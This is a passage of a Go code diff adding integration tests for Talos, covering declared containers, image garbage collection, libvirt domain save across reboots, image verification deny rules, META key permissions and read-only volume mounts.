+// +// Directory-backed, so it needs no spare disk and these tests run on any cluster, unlike the +// disk-provisioned volumes in the volumes suite. +func (suite *ContainersSuite) setupUserVolume(ctx context.Context, node, purpose string) string { + // Kept short deliberately: a user volume name becomes a partition label, so it is bounded, unlike + // the container config names the other tests derive from a timestamp. + name := fmt.Sprintf("itv-%s-%04x", purpose, rand.Int31()) + + suite.declareUserVolume(ctx, node, name) + + return name +} + +// declareUserVolume applies a directory-backed user volume by name, and registers its removal. +// +// Separate from setupUserVolume so that a test can name a volume first and declare it later, which is +// what covers a container waiting on a volume that does not exist yet. +func (suite *ContainersSuite) declareUserVolume(ctx context.Context, node, name string) { + suite.T().Logf("declaring user volume %q on node %s", name, node) + + doc := blockcfg.NewUserVolumeConfigV1Alpha1() + doc.MetaName = name + doc.VolumeType = new(block.VolumeTypeDirectory) + + suite.T().Cleanup(func() { + // suite.ctx is likely canceled by the time this runs. + cleanupCtx := client.WithNode(context.Background(), node) + + suite.RemoveMachineConfigDocumentsByName(cleanupCtx, blockcfg.UserVolumeConfigKind, name) + }) + + suite.PatchMachineConfig(ctx, doc) +} + +// newContainer builds a ContainerConfig document. +func (suite *ContainersSuite) newContainer(name, image string) *containercfg.ContainerConfigV1Alpha1 { + doc := containercfg.NewContainerConfigV1Alpha1() + doc.MetaName = name + doc.ContainerImage = image + + return doc +} + +// shellContainer builds a ContainerConfig document that runs command in a shell. The container exits +// when the command does, and is then restarted, so its log accumulates one run's output per restart. +func (suite *ContainersSuite) shellContainer(name, command string) *containercfg.ContainerConfigV1Alpha1 { + doc := suite.newContainer(name, containerShellImage) + doc.ContainerEntrypoint = []string{"/bin/sh", "-c"} + doc.ContainerArgs = []string{command} + + return doc +} + +// socatContainer is shellContainer against an image that also carries socat, for the tests that have +// to talk to a unix socket rather than just look at one. The image's own entrypoint is socat, so the +// shell has to be named explicitly here as well. +func (suite *ContainersSuite) socatContainer(name, command string) *containercfg.ContainerConfigV1Alpha1 { + doc := suite.newContainer(name, containerSocatImage) + doc.ContainerEntrypoint = []string{"/bin/sh", "-c"} + doc.ContainerArgs = []string{command} + + return doc +} + +// applyContainers applies the given container documents to the node. +func (suite *ContainersSuite) applyContainers(ctx context.Context, docs ...*containercfg.ContainerConfigV1Alpha1) { + patches := make([]any, 0, len(docs)) + + for _, doc := range docs { + patches = append(patches, doc) + } + + suite.PatchMachineConfig(ctx, patches...) +} + +// assertContainerRunning waits for the newest instance of containerName to report running. +func (suite *ContainersSuite) assertContainerRunning( + ctx context.Context, containerName, stage string, +) (resource.ID, containers.ContainerInstanceStatusSpec) { + return suite.assertNewestInstance(ctx, containerName, stage, + func(status *containers.ContainerInstanceStatusSpec, asrt *assert.Assertions) bool { + return asrt.Equal(containers.ContainerInstancePhaseRunning, status.Phase, + "phase is %s (error %q)", status.Phase, status.Error) && + asrt.NotZero(status.PID, "no PID reported") + }) +} + +// assertNewestInstanceID waits for any instance of containerName to be reported and returns the newest. +func (suite *ContainersSuite) assertNewestInstanceID( + ctx context.Context, containerName string, +) (resource.ID, containers.ContainerInstanceStatusSpec) { + return suite.assertNewestInstance(ctx, containerName, "any instance", + func(*containers.ContainerInstanceStatusSpec, *assert.Assertions) bool { return true }) +} +// assertNewestInstance waits until the newest instance status of containerName satisfies check, and +// returns it. +// +// The newest generation is picked rather than a predicted ID because generations are spent on restarts +// as well as on configuration changes, so which one is current cannot be computed up front. +func (suite *ContainersSuite) assertNewestInstance( + ctx context.Context, + containerName, stage string, + check func(*containers.ContainerInstanceStatusSpec, *assert.Assertions) bool, +) (resource.ID, containers.ContainerInstanceStatusSpec) { + suite.T().Logf("waiting for container %q: %s", containerName, stage) + + var ( + instanceID resource.ID + instanceSpec containers.ContainerInstanceStatusSpec + ) + + suite.Require().EventuallyWithT(func(collect *assert.CollectT) { + asrt := assert.New(collect) + + newest, ok := suite.newestInstance(ctx, containerName, asrt) + if !ok { + return + } + + if !asrt.NotNil(newest, "no instance status for container %q", containerName) { + return + } + + if !check(newest.TypedSpec(), asrt) { + return + } + + instanceID, instanceSpec = newest.Metadata().ID(), *newest.TypedSpec() + }, containerStartTimeout, time.Second) + + return instanceID, instanceSpec +} + +// newestInstance returns the highest-generation instance status for containerName, if any. +func (suite *ContainersSuite) newestInstance( + ctx context.Context, containerName string, asrt *assert.Assertions, +) (*containers.ContainerInstanceStatus, bool) { + statuses, err := safe.StateListAll[*containers.ContainerInstanceStatus](ctx, suite.Client.COSI) + if !asrt.NoError(err) { + return nil, false + } + + var newest *containers.ContainerInstanceStatus + + for status := range statuses.All() { + if status.TypedSpec().ContainerID != containerName { + continue + } + + if newest == nil || status.TypedSpec().Generation > newest.TypedSpec().Generation { + newest = status + } + } + + return newest, true +} + +// assertImageReady waits for containerName's image pull to resolve. +func (suite *ContainersSuite) assertImageReady(ctx context.Context, containerName string) { + suite.T().Logf("waiting for the image of container %q to be pulled", containerName) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, containerName, + func(status *containers.ContainerImageStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerImagePhaseReady, status.TypedSpec().Phase, + "image is in phase %s (error %q)", status.TypedSpec().Phase, status.TypedSpec().Error) + asrt.NotEmpty(status.TypedSpec().Digest) + }) +} + +// assertNoInstance verifies that no instance is created for containerName, and keeps checking for long +// enough that a merely slow creation would be caught. +func (suite *ContainersSuite) assertNoInstance(ctx context.Context, containerName string) { + suite.T().Logf("verifying container %q stays pending", containerName) + + suite.Require().Never(func() bool { + specs, err := safe.StateListAll[*containers.ContainerInstanceSpec](ctx, suite.Client.COSI) + if err != nil { + return false + } + + for spec := range specs.All() { + if spec.TypedSpec().ContainerID == containerName { + suite.T().Logf("unexpected instance %q for container %q", spec.Metadata().ID(), containerName) + + return true + } + } + + return false + }, 30*time.Second, time.Second) +} + +// assertContainerLogged waits until the container's log contains any of wants, and returns the log. +// +// A container that runs a command to completion is restarted, so the log grows one run at a time and +// the wait covers the image pull, the first run and any restart in between. +// +// Where the container prints one of several mutually exclusive outcomes, pass all of them and assert +// which one it was afterwards: waiting on the expected one alone turns a wrong outcome into a wait +// that burns its whole deadline and reports only that the log did not contain what was wanted. +func (suite *ContainersSuite) assertContainerLogged(ctx context.Context, containerName string, wants ...string) string { + suite.T().Logf("waiting for the log of container %q to contain one of %q", containerName, wants) + + var logs string + + suite.Require().EventuallyWithT(func(collect *assert.CollectT) { + asrt := assert.New(collect) + + // A container that failed to start will never write anything, so without this the wait would + // burn its whole deadline and report only that the log did not contain what was wanted. + suite.requireInstanceNotFailed(ctx, containerName) + + read, err := suite.readContainerLog(ctx, containerName) + if !asrt.NoError(err) { + return + } + + matched := false + + for _, want := range wants { + if strings.Contains(read, want) { matched = true + + break + } + } + + if !asrt.True(matched, "none of %q in the log of %q so far (%s); log is:\n%s", + wants, containerName, suite.describeNewestInstance(ctx, containerName), read) { + return + } + + logs = read + }, containerStartTimeout, 2*time.Second) + + return logs +} + +// requireInstanceNotFailed fails the test immediately if containerName's newest instance could not be +// started, rather than letting the caller wait for output that will never come. +func (suite *ContainersSuite) requireInstanceNotFailed(ctx context.Context, containerName string) { + newest := suite.lookupNewestInstance(ctx, containerName) + if newest == nil { + return + } + + suite.Require().NotEqual(containers.ContainerInstancePhaseFailed, newest.TypedSpec().Phase, + "container %q failed to start: %s", containerName, newest.TypedSpec().Error) +} + +// describeNewestInstance summarizes what the container's newest instance is doing, for failure +// messages: a log that never gets what it waits for is usually explained by the instance's state. +func (suite *ContainersSuite) describeNewestInstance(ctx context.Context, containerName string) string { + newest := suite.lookupNewestInstance(ctx, containerName) + if newest == nil { + return "no instance yet" + } + + spec := newest.TypedSpec() + + return fmt.Sprintf("instance %s: phase %s, exit code %d, error %q", + newest.Metadata().ID(), spec.Phase, spec.ExitCode, spec.Error) +} + +// lookupNewestInstance returns the highest-generation instance status for containerName, or nil. +// +// Unlike newestInstance this swallows the read error: the callers are building diagnostics, where a +// failure to read is not itself worth reporting. +func (suite *ContainersSuite) lookupNewestInstance( + ctx context.Context, containerName string, +) *containers.ContainerInstanceStatus { + statuses, err := safe.StateListAll[*containers.ContainerInstanceStatus](ctx, suite.Client.COSI) + if err != nil { + return nil + } + + var newest *containers.ContainerInstanceStatus + + for status := range statuses.All() { + if status.TypedSpec().ContainerID != containerName { + continue + } + + if newest == nil || status.TypedSpec().Generation > newest.TypedSpec().Generation { + newest = status + } + } + + return newest +} + +// readContainerLog reads the whole log of a declared container. +// +// The container runtime registers the log with the logging manager under a prefixed ID, which makes it +// a service log as far as the API is concerned, hence the system namespace here. +func (suite *ContainersSuite) readContainerLog(ctx context.Context, containerName string) (string, error) { + stream, err := suite.Client.Logs( + ctx, + constants.SystemContainerdNamespace, + common.ContainerDriver_CONTAINERD, + constants.TalosContainersLogPrefix+containerName, + false, + -1, + ) + if err != nil { + return "", err + } + + reader, err := client.ReadStream(stream) + if err != nil { + return "", err + } + + //nolint:errcheck + defer reader.Close() + + body, err := io.ReadAll(reader) + if err != nil { + return "", err + } + + return string(body), nil +} + +// containerdImages lists the names of the images stored in a containerd namespace. +func (suite *ContainersSuite) containerdImages(ctx context.Context, namespace common.ContainerdNamespace) ([]string, error) { + driver := common.ContainerDriver_CONTAINERD + if namespace == common.ContainerdNamespace_NS_SYSTEM || namespace == common.ContainerdNamespace_NS_CRI { + driver = common.ContainerDriver_CRI + } + + rcv, err := suite.Client.ImageClient.List(ctx, &machine.ImageServiceListRequest{ + Containerd: &common.ContainerdInstance{ + Driver: driver, + Namespace: namespace, + }, + }) + if err != nil { + return nil, err + } + + var imageNames []string + + for { + msg, err := rcv.Recv() + if err != nil { + if errors.Is(err, io.EOF) { + return imageNames, nil } + + return nil, err } - suite.Assert().True(matched, "no pods found, node %s", node) + imageNames = append(imageNames, msg.GetName()) + } +} + +// assertContainerdImages returns the image names in a containerd namespace, failing the test if +// they cannot be read. +func (suite *ContainersSuite) assertContainerdImages(ctx context.Context, namespace common.ContainerdNamespace) []string { + imageNames, err := suite.containerdImages(ctx, namespace) + suite.Require().NoError(err) + + return imageNames +} + +// TestImageNotGarbageCollectedWhileReferenced covers the image GC instance which collects the +// taloscontainers namespace: a declared container's image lands there and not in the system +// namespace, and is not collected out from under a container that is still using it. +// +// The deletion half cannot be covered here: an unreferenced image only becomes eligible after +// cri.ImageGCGracePeriod, an hour, which is far longer than any node can be held for. That path is +// covered by TestImageGCTalosContainers in the controller's own tests, on synthetic time. This is +// the same kind of blind spot as the one assertNoContainerdContainer documents. +func (suite *ContainersSuite) TestImageNotGarbageCollectedWhileReferenced() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") } + + ctx, name, _ := suite.setupContainer("image-gc") + + suite.applyContainers(ctx, suite.shellContainer(name, "sleep 3600")) + + suite.assertContainerRunning(ctx, name, "before inspecting the image store") + + suite.Assert().Contains(suite.assertContainerdImages(ctx, common.ContainerdNamespace_NS_TALOSCONTAINERS), containerShellImage, + "the container's image must be pulled into the taloscontainers namespace") + + suite.Assert().NotContains(suite.assertContainerdImages(ctx, common.ContainerdNamespace_NS_SYSTEM), containerShellImage, + "the container's image must not leak into the system namespace, which is collected against a different expected set") + + suite.T().Logf("removing container config %q", name) + + suite.RemoveMachineConfigDocumentsByName(ctx, containercfg.ContainerConfigKind, name) + + suite.assertNoContainerdContainer(ctx, name) + + // The image is unreferenced from here on, and must survive until the grace period elapses. + suite.Require().Never(func() bool { + imageNames, err := suite.containerdImages(ctx, common.ContainerdNamespace_NS_TALOSCONTAINERS) + if err != nil { + // A failed read is not the image having been collected. + return false + } + + return !slices.Contains(imageNames, containerShellImage) + }, 30*time.Second, 5*time.Second, "image was collected before the grace period elapsed") +} + +// assertNoContainerdContainer verifies that containerd is running no task for containerName. +// +// This cannot detect an orphaned containerd record: the inspector behind the Containers API skips +// containers with no live task, so a record whose task is gone is invisible here. What it does cover +// is a task that outlived its configuration. +func (suite *ContainersSuite) assertNoContainerdContainer(ctx context.Context, containerName string) { + suite.Require().EventuallyWithT(func(collect *assert.CollectT) { + asrt := assert.New(collect) + + resp, err := suite.Client.Containers(ctx, constants.TalosContainersContainerdNamespace, common.ContainerDriver_CONTAINERD) + if !asrt.NoError(err) { + return + } + + for _, msg := range resp.GetMessages() { + for _, container := range msg.GetContainers() { + asrt.NotContains(container.GetId(), containerName, + "containerd still holds container %q for %q", container.GetId(), containerName) + } + } + }, time.Minute, time.Second) } func init() { diff --git a/internal/integration/api/extensions_qemu.go b/internal/integration/api/extensions_qemu.go index 8a46048fe5d..48146e8b317 100644 --- a/internal/integration/api/extensions_qemu.go +++ b/internal/integration/api/extensions_qemu.go @@ -8,6 +8,8 @@ package api import ( "context" + "encoding/base64" + "fmt" "io" "net" "net/http" @@ -177,6 +179,159 @@ func (suite *ExtensionsSuiteQEMU) TestExtensionsQEMUGuestAgent() { ) } +const ( + libvirtDomainName = "talos-integration-libvirt" + libvirtURI = "qemu+unix:///system?socket=/run/libvirt/virtqemud-sock" +) + +// TestExtensionsLibvirt verifies libvirt can run a QEMU domain and save it across a reboot. +func (suite *ExtensionsSuiteQEMU) TestExtensionsLibvirt() { + if !suite.ExtensionsLibvirt { + suite.T().Skip("skipping as libvirt extension integration tests are not enabled") + } + + node := suite.RandomDiscoveredNodeInternalIP(machine.TypeWorker) + nodeCtx := client.WithNode(suite.ctx, node) + + suite.AssertServicesRunning(suite.ctx, node, map[string]string{ + "ext-virtlockd": "Running", + "ext-virtlogd": "Running", + "ext-virtqemud": "Running", + "ext-virtstoraged": "Running", + }) + + var ( + machineType string + qemuArch string + ) + + switch arch := suite.ReadMachineArch(nodeCtx); arch { + case "amd64": + machineType = "pc" + qemuArch = "x86_64" + case "arm64": + machineType = "virt" + qemuArch = "aarch64" + default: + suite.Require().FailNow("unsupported architecture", "architecture %q is not supported by the libvirt integration test", arch) + } + + domainXMLPath := "/var/lib/libvirt/" + libvirtDomainName + ".xml" + domainXML := fmt.Sprintf(` + %s + 128 + 1 + + hvm + + + /usr/local/bin/qemu-system-%s + + +`, libvirtDomainName, qemuArch, machineType, qemuArch) + + writeDomainXML := fmt.Sprintf( + "/nix/var/nix/profiles/default/bin/busybox echo %s | "+ + "/nix/var/nix/profiles/default/bin/busybox base64 -d > %s", + base64.StdEncoding.EncodeToString([]byte(domainXML)), domainXMLPath, + ) + output, exitCode := suite.RunDebugContainer(suite.ctx, node, "/nix/var/nix/profiles/default/bin/sh", "-c", writeDomainXML) + suite.Require().EqualValues(0, exitCode, "failed to write libvirt domain XML: %s", output) + + defer func() { + cleanup := fmt.Sprintf( + "/usr/local/bin/virsh --connect '%s' destroy %s >/dev/null 2>&1 || true; "+ + "/usr/local/bin/virsh --connect '%s' undefine %s --managed-save >/dev/null 2>&1 || "+ + "/usr/local/bin/virsh --connect '%s' undefine %s >/dev/null 2>&1 || true; "+ + "/nix/var/nix/profiles/default/bin/busybox rm -f %s", + libvirtURI, libvirtDomainName, + libvirtURI, libvirtDomainName, + libvirtURI, libvirtDomainName, + domainXMLPath, + ) + + cleanupOutput, cleanupExitCode := suite.RunDebugContainer(suite.ctx, node, "/nix/var/nix/profiles/default/bin/sh", "-c", cleanup) + if cleanupExitCode != 0 { + suite.T().Logf("failed to clean up libvirt domain: %s", cleanupOutput) + } + }() + + suite.runVirsh(node, "define", domainXMLPath) + suite.runVirsh(node, "start", libvirtDomainName) + suite.Require().Equal("running", suite.runVirsh(node, "domstate", libvirtDomainName)) + + pidBeforeReboot, err := suite.libvirtDomainPID(nodeCtx) + suite.Require().NoError(err) + suite.Require().NotZero(pidBeforeReboot, "expected QEMU to run domain %q", libvirtDomainName) + + virtqemudPID, err := safe.ReaderGetByID[*runtime.ServicePID](nodeCtx, suite.Client.COSI, "ext-virtqemud") + suite.Require().NoError(err) + + _, err = suite.Client.ServiceRestart(nodeCtx, "ext-virtqemud") + suite.Require().NoError(err) + + rtestutils.AssertResource( + nodeCtx, suite.T(), suite.Client.COSI, + "ext-virtqemud", + func(servicePID *runtime.ServicePID, asrt *assert.Assertions) { + asrt.NotEqual(virtqemudPID.TypedSpec().PID, servicePID.TypedSpec().PID) + }, + ) + + suite.Require().Equal("running", suite.runVirsh(node, "domstate", libvirtDomainName)) + + pidAfterServiceRestart, err := suite.libvirtDomainPID(nodeCtx) + suite.Require().NoError(err) + suite.Require().Equal(pidBeforeReboot, pidAfterServiceRestart, "service restart must preserve the QEMU process") + + suite.AssertRebooted( + suite.ctx, node, func(nodeCtx context.Context) error { + return base.IgnoreGRPCUnavailable(suite.Client.Reboot(nodeCtx)) + }, 5*time.Minute, + ) + + suite.WaitForBootDone(suite.ctx) + suite.AssertServicesRunning(suite.ctx, node, map[string]string{"ext-virtqemud": "Running"}) + suite.Require().Regexp(`(?m)^Managed save:\s+yes$`, suite.runVirsh(node, "dominfo", libvirtDomainName)) + + pidAfterReboot, err := suite.libvirtDomainPID(nodeCtx) + suite.Require().NoError(err) + suite.Require().Zero(pidAfterReboot, "managed-saved domain must not have a running QEMU process") + + suite.runVirsh(node, "start", libvirtDomainName) + suite.Require().Equal("running", suite.runVirsh(node, "domstate", libvirtDomainName)) + suite.Require().Regexp(`(?m)^Managed save:\s+no$`, suite.runVirsh(node, "dominfo", libvirtDomainName)) + + pidAfterRestore, err := suite.libvirtDomainPID(nodeCtx) + suite.Require().NoError(err) + suite.Require().NotZero(pidAfterRestore, "expected QEMU to restore domain %q", libvirtDomainName) +} + +func (suite *ExtensionsSuiteQEMU) runVirsh(node string, args ...string) string { + command := append([]string{"/usr/local/bin/virsh", "--connect", libvirtURI}, args...) + output, exitCode := suite.RunDebugContainer(suite.ctx, node, command...) + suite.Require().EqualValues(0, exitCode, "virsh %s failed: %s", strings.Join(args, " "), output) + + return strings.TrimSpace(output) +} + +func (suite *ExtensionsSuiteQEMU) libvirtDomainPID(ctx context.Context) (int32, error) { + response, err := suite.Client.Processes(ctx) + if err != nil { + return 0, fmt.Errorf("failed to list processes: %w", err) + } + + for _, message := range response.Messages { + for _, process := range message.Processes { + if strings.Contains(process.Executable, "/qemu-system-") && strings.Contains(process.Args, "guest="+libvirtDomainName+",") { + return process.Pid, nil + } + } + } + + return 0, nil +} + // TestExtensionsTailscale verifies tailscale is working. func (suite *ExtensionsSuiteQEMU) TestExtensionsTailscale() { // Tailscale service keeps on restarting unless authed, so this test is disabled for now. diff --git a/internal/integration/api/images.go b/internal/integration/api/images.go index 538317df6ea..693b5047490 100644 --- a/internal/integration/api/images.go +++ b/internal/integration/api/images.go @@ -252,6 +252,12 @@ func (suite *ImagesSuite) TestVerify() { RuleImagePattern: "localhost:4444/*", RuleDeny: new(true), }, + { + // a pattern written against the Docker Hub host the way the configuration + // reference shows it + RuleImagePattern: "docker.io/library/busybox*", + RuleDeny: new(true), + }, } suite.PatchMachineConfig(ctx, imageVerificationConfig) @@ -259,7 +265,7 @@ func (suite *ImagesSuite) TestVerify() { // wait for the configuration to be applied rtestutils.AssertResources( ctx, suite.T(), suite.Client.COSI, - []resource.ID{"0000", "0001", "0002"}, + []resource.ID{"0000", "0001", "0002", "0003"}, func(rule *securityres.ImageVerificationRule, asrt *assert.Assertions) { switch rule.Metadata().ID() { case "0000": @@ -268,6 +274,8 @@ func (suite *ImagesSuite) TestVerify() { asrt.Equal("registry.k8s.io/*", rule.TypedSpec().ImagePattern) case "0002": asrt.Equal("localhost:4444/*", rule.TypedSpec().ImagePattern) + case "0003": + asrt.Equal("docker.io/library/busybox*", rule.TypedSpec().ImagePattern) } }, ) @@ -300,6 +308,21 @@ func (suite *ImagesSuite) TestVerify() { suite.Assert().Equal(codes.PermissionDenied, status.Code(err), "expected image verification to be denied according to our config") suite.Assert().Equal("verification denied by matched rule (0002)", status.Convert(err).Message()) + // the reference is normalized before it is matched, so neither a different spelling of the + // registry domain nor a different spelling of the Docker Hub repository evades a deny rule + for _, deniedRef := range []string{ + "LOCALHOST:4444/myimage:latest", + "docker.io/library/busybox:1.36", + "index.docker.io/library/busybox:1.36", + "busybox:1.36", + } { + _, err = suite.Client.ImageClient.Verify(ctx, &machine.ImageServiceVerifyRequest{ + ImageRef: deniedRef, + }) + suite.Require().Error(err, "expected %q to be denied", deniedRef) + suite.Assert().Equal(codes.PermissionDenied, status.Code(err), "expected %q to be denied according to our config", deniedRef) + } + // now test via the image pull flow rcv, err := suite.Client.ImageClient.Pull(ctx, &machine.ImageServicePullRequest{ Containerd: &common.ContainerdInstance{ diff --git a/internal/integration/api/meta.go b/internal/integration/api/meta.go new file mode 100644 index 00000000000..8314660024b --- /dev/null +++ b/internal/integration/api/meta.go @@ -0,0 +1,125 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +//go:build integration_api + +package api + +import ( + "context" + "fmt" + "time" + + "github.com/cosi-project/runtime/pkg/resource/rtestutils" + "github.com/stretchr/testify/assert" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/status" + + "github.com/siderolabs/talos/internal/integration/base" + "github.com/siderolabs/talos/pkg/machinery/api/machine" + "github.com/siderolabs/talos/pkg/machinery/client" + "github.com/siderolabs/talos/pkg/machinery/meta" + "github.com/siderolabs/talos/pkg/machinery/resources/runtime" +) + +// MetaSuite ... +type MetaSuite struct { + base.APISuite + + ctx context.Context //nolint:containedctx + ctxCancel context.CancelFunc +} + +// SuiteName ... +func (suite *MetaSuite) SuiteName() string { + return "api.MetaSuite" +} + +// SetupTest ... +func (suite *MetaSuite) SetupTest() { + if !suite.Capabilities().SupportsMETA { + suite.T().Skip("META APIs not supported on this node") + } + + suite.ctx, suite.ctxCancel = context.WithTimeout(context.Background(), 15*time.Second) +} + +// TearDownTest ... +func (suite *MetaSuite) TearDownTest() { + if suite.ctxCancel != nil { + suite.ctxCancel() + } +} + +// TestMetaWriteDelete verifies META APIs. +func (suite *MetaSuite) TestMetaWriteDelete() { + node := suite.RandomDiscoveredNodeInternalIP() + ctx := client.WithNode(suite.ctx, node) + + const ( + metaValue = "test-value" + metaValue2 = "test-value-2" + ) + + suite.Run("regular operations", func() { + // no value in the initial state + rtestutils.AssertNoResource[*runtime.MetaKey](ctx, suite.T(), suite.Client.COSI, runtime.MetaKeyTagToID(meta.UserReserved1)) + + suite.Require().NoError(suite.Client.MetaWrite(ctx, meta.UserReserved1, []byte(metaValue))) + + // value should appear after write + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, runtime.MetaKeyTagToID(meta.UserReserved1), func(mt *runtime.MetaKey, asrt *assert.Assertions) { + asrt.Equal(metaValue, mt.TypedSpec().Value) + }) + + // overwrite value + suite.Require().NoError(suite.Client.MetaWrite(ctx, meta.UserReserved1, []byte(metaValue2))) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, runtime.MetaKeyTagToID(meta.UserReserved1), func(mt *runtime.MetaKey, asrt *assert.Assertions) { + asrt.Equal(metaValue2, mt.TypedSpec().Value) + }) + + // delete value + suite.Require().NoError(suite.Client.MetaDelete(ctx, meta.UserReserved1)) + + rtestutils.AssertNoResource[*runtime.MetaKey](ctx, suite.T(), suite.Client.COSI, runtime.MetaKeyTagToID(meta.UserReserved1)) + }) + + suite.Run("invalid key", func() { + const invalidKey = 0x100 // above uint8 + + // using direct client here as the wrapper limits to uint8 + _, err := suite.Client.MachineClient.MetaWrite(ctx, &machine.MetaWriteRequest{Key: invalidKey, Value: []byte(metaValue)}) + suite.Require().Error(err) + suite.Assert().Equal(codes.InvalidArgument, status.Code(err)) + + _, err = suite.Client.MachineClient.MetaDelete(ctx, &machine.MetaDeleteRequest{Key: invalidKey}) + suite.Require().Error(err) + suite.Assert().Equal(codes.InvalidArgument, status.Code(err)) + }) + + suite.Run("disallowed keys", func() { + for metaKey := range 256 { + metaKey := uint8(metaKey) + + if meta.IsAPIWriteable(metaKey) { + continue + } + + suite.Run(fmt.Sprintf("key=%02x", metaKey), func() { + err := suite.Client.MetaWrite(ctx, metaKey, []byte(metaValue)) + suite.Require().Error(err) + suite.Assert().Equal(codes.PermissionDenied, status.Code(err)) + + err = suite.Client.MetaDelete(ctx, metaKey) + suite.Require().Error(err) + suite.Assert().Equal(codes.PermissionDenied, status.Code(err)) + }) + } + }) +} + +func init() { + allSuites = append(allSuites, new(MetaSuite)) +} diff --git a/internal/integration/api/sandbox.go b/internal/integration/api/sandbox.go new file mode 100644 index 00000000000..f96a734d48b --- /dev/null +++ b/internal/integration/api/sandbox.go @@ -0,0 +1,78 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +//go:build integration_api + +package api + +import ( + "context" + "time" + + "github.com/siderolabs/talos/internal/integration/base" + "github.com/siderolabs/talos/pkg/images" + "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/pkg/machinery/client" + "github.com/siderolabs/talos/pkg/machinery/config/machine" + "github.com/siderolabs/talos/pkg/machinery/constants" +) + +// SandboxImageSuite verifies the image the CRI runs pod sandboxes with. +// +// Kept apart from ContainersSuite: this only lists containers which are already there, so unlike the +// tests for declared containers it neither pulls an image nor needs a long deadline. +type SandboxImageSuite struct { + base.APISuite + + ctx context.Context //nolint:containedctx + ctxCancel context.CancelFunc +} + +// SuiteName ... +func (suite *SandboxImageSuite) SuiteName() string { + return "api.SandboxImageSuite" +} + +// SetupTest ... +func (suite *SandboxImageSuite) SetupTest() { + suite.ctx, suite.ctxCancel = context.WithTimeout(context.Background(), time.Minute) +} + +// TearDownTest ... +func (suite *SandboxImageSuite) TearDownTest() { + if suite.ctxCancel != nil { + suite.ctxCancel() + } +} + +// TestSandboxImage verifies sandbox image. +func (suite *SandboxImageSuite) TestSandboxImage() { + node := suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane) + ctx := client.WithNode(suite.ctx, node) + + resp, err := suite.Client.Containers(ctx, constants.K8sContainerdNamespace, common.ContainerDriver_CRI) + suite.Require().NoError(err) + + suite.Assert().NotEmpty(resp.GetMessages()) + + for _, message := range resp.GetMessages() { + suite.Assert().NotEmpty(message.GetContainers()) + + matched := false + + for _, ctr := range message.GetContainers() { + if ctr.PodId == ctr.Id { + suite.Assert().Equal(images.DefaultSandboxImage, ctr.Image) + + matched = true + } + } + + suite.Assert().True(matched, "no pods found, node %s", node) + } +} + +func init() { + allSuites = append(allSuites, new(SandboxImageSuite)) +} diff --git a/internal/integration/api/volumes.go b/internal/integration/api/volumes.go index 20dcdd585c7..9a37b08a164 100644 --- a/internal/integration/api/volumes.go +++ b/internal/integration/api/volumes.go @@ -1489,7 +1489,8 @@ func (suite *VolumesSuite) TestExistingVolumes() { ), ) - // create existing volume + // mount the existing volume read-only from the start + existingVolumeDoc.MountSpec.MountReadOnly = new(true) suite.PatchMachineConfig(ctx, existingVolumeDoc) // wait for the existing volume to be discovered @@ -1501,7 +1502,16 @@ func (suite *VolumesSuite) TestExistingVolumes() { }, ) - // check that the volume is mounted + // check that the volume is mounted read-only + rtestutils.AssertResources(ctx, suite.T(), suite.Client.COSI, []resource.ID{existingVolumeID}, + func(vs *block.MountStatus, asrt *assert.Assertions) { + asrt.True(vs.TypedSpec().ReadOnly) + }) + + // switch the existing volume to read-write + existingVolumeDoc.MountSpec.MountReadOnly = new(false) + suite.PatchMachineConfig(ctx, existingVolumeDoc) + rtestutils.AssertResources(ctx, suite.T(), suite.Client.COSI, []resource.ID{existingVolumeID}, func(vs *block.MountStatus, asrt *assert.Assertions) { asrt.False(vs.TypedSpec().ReadOnly) diff --git a/internal/integration/base/api.go b/internal/integration/base/api.go index 978fcd6c2d8..bae73afca4f 100644 --- a/internal/integration/base/api.go +++ b/internal/integration/base/api.go @@ -169,6 +169,7 @@ type Capabilities struct { SupportsReboot bool SupportsRecover bool SupportsVolumes bool + SupportsMETA bool SecureBooted bool } @@ -186,6 +187,7 @@ func (apiSuite *APISuite) Capabilities() Capabilities { caps.RunsTalosKernel = true caps.SupportsReboot = true caps.SupportsRecover = true + caps.SupportsMETA = true caps.SupportsVolumes = true } } diff --git a/internal/integration/base/base.go b/internal/integration/base/base.go index 620125a7e8b..b19ef749ac0 100644 --- a/internal/integration/base/base.go +++ b/internal/integration/base/base.go @@ -48,6 +48,8 @@ type TalosSuite struct { KubeStrPath string // ExtensionsQEMU runs tests with qemu and extensions enabled ExtensionsQEMU bool + // ExtensionsLibvirt runs tests with libvirt extensions enabled + ExtensionsLibvirt bool // ExtensionsNvidia runs tests with nvidia extensions enabled ExtensionsNvidia bool // BGPEnabled runs tests against a cluster created with an embedded BGP fabric peer (--with-bgp) diff --git a/internal/integration/cli/containers.go b/internal/integration/cli/containers.go index 350506238dc..d5e4e26b363 100644 --- a/internal/integration/cli/containers.go +++ b/internal/integration/cli/containers.go @@ -7,12 +7,69 @@ package cli import ( + "encoding/json" "regexp" + "testing" + "time" "github.com/siderolabs/talos/internal/integration/base" + "github.com/siderolabs/talos/pkg/images" "github.com/siderolabs/talos/pkg/machinery/config/machine" + "github.com/siderolabs/talos/pkg/machinery/constants" ) +// talosContainerStartTimeout covers a cold pull of a small, likely-cached image plus the controller +// chain that starts it. +const talosContainerStartTimeout = 3 * time.Minute + +// applyTalosContainer declares a container via a ContainerConfig document on node, and returns a +// cleanup func that removes it again. +// +// entrypoint and args may be nil to use the image's own entrypoint. A distinct name per caller keeps +// the new namespace tests from clobbering each other if they ever run concurrently against the same +// node. +func applyTalosContainer(suite *base.CLISuite, node, name, image string, entrypoint, args []string) func() { + patch := map[string]any{ + "apiVersion": "v1alpha1", + "kind": "ContainerConfig", + "name": name, + "image": image, + } + + if len(entrypoint) > 0 { + patch["entrypoint"] = entrypoint + } + + if len(args) > 0 